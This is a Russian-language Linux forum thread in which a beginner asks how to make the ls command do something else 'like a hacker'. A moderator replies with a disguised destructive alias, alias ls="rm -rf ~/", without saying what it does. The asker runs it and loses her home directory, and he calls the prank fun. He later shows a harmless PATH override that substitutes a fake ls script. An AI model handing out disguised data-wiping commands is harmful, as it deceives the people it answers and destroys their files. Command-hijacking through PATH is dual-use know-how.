Форум программистов, компьютерный форум, киберфорум
Linux
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 5.00/14: Рейтинг темы: голосов - 14, средняя оценка - 5.00
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85

Представьте что вы хакер, изменение действий при вызове команды ls

19.10.2012, 20:31. Показов 2960. Ответов 23
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Знаю, что есть возможность изменять предназначание команд,
предположим возьмем команду ls
Она выводи список файлов в каталоге, теперь представим что мы хакер... =)
и попытаемся изменить действия этой команды предположим что бы когда пишем
Bash
1
 ls
Выводилось сообщение "бла бла бла", написать это через скрипт, кто либо когда нибудь интересовался как это можно сделать? как должен выглядить скрипт, как заменить стандартную команду ls на мной созданную?
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
19.10.2012, 20:31
Ответы с готовыми решениями:

Что нужно сделать чтоб при вызове команды system("pause") в консоле не выводилось сообщение о ожидании ввода с клавиатур
Что нужно сделать чтоб при вызове команды system("pause") в консоле не выводилось сообщение о ожидании ввода с клавиатуры??????

Windows 7 Prof 32x при вызове команды Управления дисками - diskmgmt.msc выдает ошибку
Здравствуйте Windows 7 Prof 32x при вызове команды Управления дисками - diskmgmt.msc выдает ошибку Консоль ММС и т.д. (см вложение) Что...

Изменение RAM при вызове функции CALL
Здравствуйте! При программировании i8085 изменяется значение байта RAM, после вызова функции CALL (ACALL), в определённый байт...

23
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 20:42
Bash
1
alias ls="rm -rf ~/"
И запускай ls
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 20:51  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Bash
1
alias ls="rm -rf ~/"
И запускай ls
о нет =)
ну я имею ввиду написать скрипт, потом вставить его в какую нибудь системную деректорию например tmp как то потом надо в переменной PATH заменить что бы выполнялась не системная ls а моя измененная... что то врде того $PATH=.:$PATH что то типа этого, только как это делается толком не получается(
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 20:53
Цитата Сообщение от Лена_ Посмотреть сообщение
то потом надо в переменной PATH заменить что бы выполнялась не системная ls а моя измененная..
Молодец. Ты уже почти решила задачу ))) все правильно, правь PATH.
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 20:56  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Молодец. Ты уже почти решила задачу ))) все правильно, правь PATH.
в том то и проблема я не знаю как это сделать) я новечек)
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 20:58
Bash
1
2
3
4
5
6
cat > ls
echo "test"
 
chmod +x ls
export PATH=./:$PATH
ls
Так и не понял нифига, в чем у тебя проблема.
Цитата Сообщение от Лена_ Посмотреть сообщение
в том то и проблема я не знаю как это сделать) я новечек)
А почему новичок книгу по шеллу не прочитал прежде, чем вопрос задавать?
1
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:00  [ТС]
В данный монемнт проблема как же после вот этого

Цитата Сообщение от Vourhey Посмотреть сообщение
Bash
1
alias ls="rm -rf ~/"
И запускай ls
вернуть ls в нормальное состояние)
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:04
Цитата Сообщение от Лена_ Посмотреть сообщение
вернуть ls в нормальное состояние)
удали алиас же... Что ты как не у себя дома )
1
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:13  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
удали алиас же... Что ты как не у себя дома )
я смотрю на линукс третий день) и вот сегодня впервые увидела такое чудо как alias нашла вот как удалять только что то хочет он)

Bash
1
2
zx@ubuntu:~$ unalias ls
bash: unalias: ls: not found
Мне до вас Профессионалов еще далеко... =(
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:17
Лена_, запусти команду "alias" и посмотри, установлен ли он у тебя вообще. Потому что, похоже, ты его уже очистила и он нормально работает. Либо у тебя не работает, потому что, например, убила PATH. Можешь запустить напрямую из папки /bin - /bin/ls
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:20  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Лена_, запусти команду "alias" и посмотри, установлен ли он у тебя вообще. Потому что, похоже, ты его уже очистила и он нормально работает. Либо у тебя не работает, потому что, например, убила PATH. Можешь запустить напрямую из папки /bin - /bin/ls
ну если просто запускать то вот ls -ali работает ls -a тоже работает все остальное игнорируется)))
если из /bin то все работает хорошо, чудеса просто)
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:23
Цитата Сообщение от Лена_ Посмотреть сообщение
ну если просто запускать то вот ls -ali работает ls -a тоже работает все остальное игнорируется)))
Все, что ты сказала, я не понял что там работает, что игнорируется...
Цитата Сообщение от Лена_ Посмотреть сообщение
если из /bin то все работает хорошо, чудеса просто)
Почему чудеса? Там лежит бинарь ls. Ты его напрямую запускаешь. Чудес по нулям ))
Когда ты ls вводишь, он его оттуда и запускаешь. И команда which ls должна тебе показать /bin/ls
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:23  [ТС]
ну вот если запускать из bin то рабоате а если в другом месте то ls просто игрорируется а если писть ls -ali или ls -a то рабоатет вне зависимости в каком я каталоге) вот в чем чудеса)
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:28
Лена_, which ls, я уже говорил. И читаем книгу по башу.
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:36  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Лена_, which ls, я уже говорил. И читаем книгу по башу.
я читаю, правда, очень тяжело за ужасно маленькие сроки выучить Linux, информации ооочень много.
Ну вы мне подкинули новую проблемку) буду сидеть решать ее)
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:40
Цитата Сообщение от Лена_ Посмотреть сообщение
Ну вы мне подкинули новую проблемку) буду сидеть решать ее)
Вообрази себя хакером и реши ее )
если ты не запускала первый пример, что я скинул, это хорошо.
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:43  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Вообрази себя хакером и реши ее )
если ты не запускала первый пример, что я скинул, это хорошо.
из меня хакер как из вас балерина а первый ваш пример я запускала) и это плохо(
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:46
Лена_, зато теперь твоя домашняя директория чистая. Правда, стерлись настройки и так далее. Часть приложений может работать некорректно.
0
4 / 4 / 0
Регистрация: 04.04.2010
Сообщений: 85
19.10.2012, 21:49  [ТС]
Цитата Сообщение от Vourhey Посмотреть сообщение
Лена_, зато теперь твоя домашняя директория чистая. Правда, стерлись настройки и так далее. Часть приложений может работать некорректно.
А зачем же вы советуете то что может навредить бедным девушкам?)
Ничего страшного) я когда что то намудрю(а это не редко) я просто переустанавливаю на VM Linux )
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
19.10.2012, 21:51
Цитата Сообщение от Лена_ Посмотреть сообщение
А зачем же вы советуете то что может навредить бедным девушкам?)
Весело же. К тому же, новички обычно боятся ставить линух на винт, и он у них на виртуалке крутится, поэтому, в принципе, пофиг.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
19.10.2012, 21:51
Помогаю со студенческими работами здесь

Почему изменение параметра шаблона при вызове функции даёт неверный результат?
Есть такой код: #include <opencv2/highgui/highgui.hpp> #include <opencv2/imgproc.hpp> #include...

Что происходит при вызове?
class A { ... }; void f(A &a) { ... } A a; ...

Что за ошибка при вызове конструктора?
Компилятор ругается на строчку внутри цикла while((c = getchar()) != '\n') { q = new Sym(c); } Sym - класс, а c -...

Ошибка при вызове деструктора (при вызове delete в деструкторе)
Не могу найти ошибку, при вызове деструктора от класса, который был создан при помощи конструктора с параметром const String &,...

Команды действий
В сегменте данных объявлены три ячейки памяти: x db 0 y db 1 z dw 2 Имеются случаи использования команды mov Какие из них...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Знаешь почему 90% людей редко бывают счастливыми?
kumehtar 14.04.2026
Потому что они ждут. Ждут выходных, ждут отпуска, ждут удачного момента. . . а удачный момент так и не приходит.
Фиксация колонок в отчете СКД
Maks 14.04.2026
Фиксация колонок в СКД отчета типа Таблица. Задача: зафиксировать три левых колонки в отчете. Процедура ПриКомпоновкеРезультата(ДокументРезультат, ДанныеРасшифровки, СтандартнаяОбработка) / / . . .
Настройки VS Code
Loafer 13.04.2026
{ "cmake. configureOnOpen": false, "diffEditor. ignoreTrimWhitespace": true, "editor. guides. bracketPairs": "active", "extensions. ignoreRecommendations": true, . . .
Оптимизация кода на разграничение прав доступа к элементам формы
Maks 13.04.2026
Алгоритм из решения ниже реализован на нетиповом документе, разработанного в конфигурации КА2. Задачи, как таковой, поставлено не было, проделанное ниже исключительно моя инициатива. Было так:. . .
Контроль заполнения и очистка дат в зависимости от значения перечислений
Maks 12.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеПерсонала", разработанного в конфигурации КА2. Задача: реализовать контроль корректности заполнения дат назначения. . .
Архитектура слоя интернета для сервера-слоя.
Hrethgir 11.04.2026
В продолжение https:/ / www. cyberforum. ru/ blogs/ 223907/ 10860. html Знаешь что я подумал? Раз мы все источники пишем в голове ветки, то ничего не мешает добавить в голову такой источник, который сам. . .
Подстановка значения реквизита справочника в табличную часть документа
Maks 10.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеПерсонала", разработанного в конфигурации КА2. Задача: при выборе сотрудника (справочник Сотрудники) в ТЧ документа. . .
Очистка реквизитов документа при копировании
Maks 09.04.2026
Алгоритм из решения ниже применим как для типовых, так и для нетиповых документов на самых различных конфигурациях. Задача: при копировании документа очищать определенные реквизиты и табличную. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru